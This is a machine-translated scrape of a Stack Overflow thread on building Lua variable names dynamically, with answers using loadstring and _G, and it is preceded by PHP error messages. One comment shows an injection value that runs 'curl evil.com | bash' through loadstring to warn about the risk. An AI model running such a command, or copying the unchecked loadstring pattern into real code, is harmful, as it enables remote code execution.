Warning: file_get_contents(/data/phpspider/zhask/data//catemap/8/lua/3.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
变量引用中的Lua字符串_Lua - Fatal编程技术网

变量引用中的Lua字符串

变量引用中的Lua字符串,lua,Lua,有没有办法用字符串“连接”变量引用 fat_greek_wedding = 0; nationality = "greek"; "fat_" .. nationality .. "_wedding" = 1; -- fat_greek_wedding == 1 或者类似于: fat_greek_wedding = 0; nationality = "greek"; fat_(nationality)_wedding = 1; -- fat_greek_wedding == 1 仅供参考,

有没有办法用字符串“连接”变量引用

fat_greek_wedding = 0;
nationality = "greek";

"fat_" .. nationality .. "_wedding" = 1; -- fat_greek_wedding == 1
或者类似于:

fat_greek_wedding = 0;
nationality = "greek";

fat_(nationality)_wedding = 1; -- fat_greek_wedding == 1
仅供参考,我正在为使用Lua的Unified Remote编写代码:

试试这个:

loadstring("fat_"..nationality.."_wedding = 1")()

全局变量或结构字段只是某个表的元素,变量的名称是该表中的文本键

如果该
fat\u-green\u-widding
是一个全局变量,则可以如下方式访问它:

fat_greek_wedding = 0;
nationality = "greek";

_G["fat_" .. nationality .. "_wedding"] = 1;

在这里,您可以显式地访问全局环境,通过在运行时构造的名称更改/创建元素。事实上,这与运行
fat\u-greek\u-widding=1是一样的,遗憾的是没有,但我确实在loadstring中学到了一些东西。任何原因“_wedding=1”是双引号中的一部分?与“\u wedding”=1”相反,本例加载并运行新脚本,脚本主体为
“fat\u wedding=1”
。整个字符串是脚本的主体,因此
=1
部分必须出现在字符串中。这可能是不安全的(如果变量名组件恰好是
“=0;os.execute'curl evil.com | bash'
),并且比正确的方法(使用
\u G
)效率要低得多。@没有人是的,你是对的。但我认为,在这种情况下,当他手动初始化
国籍
变量时,这并不是不安全的。@R.Gadeev是的,但其他人会通过谷歌搜索发现这一点,在他们的情况下,这可能很重要,因此,提醒您考虑一下这一点&验证插入的字符串似乎已经足够了。我的意思是要记住,
\u G
表并不是在所有版本的Lua中都存在。我查看了git repo,他们引用了Lua 5.1的文档,所以在这种特殊情况下,@HenriMenke
\u G
是标准的,因为(至少)这是按名称访问全局变量的标准方法。(这是Lua编程的一个例子。)如果下面的答案有助于您接受它。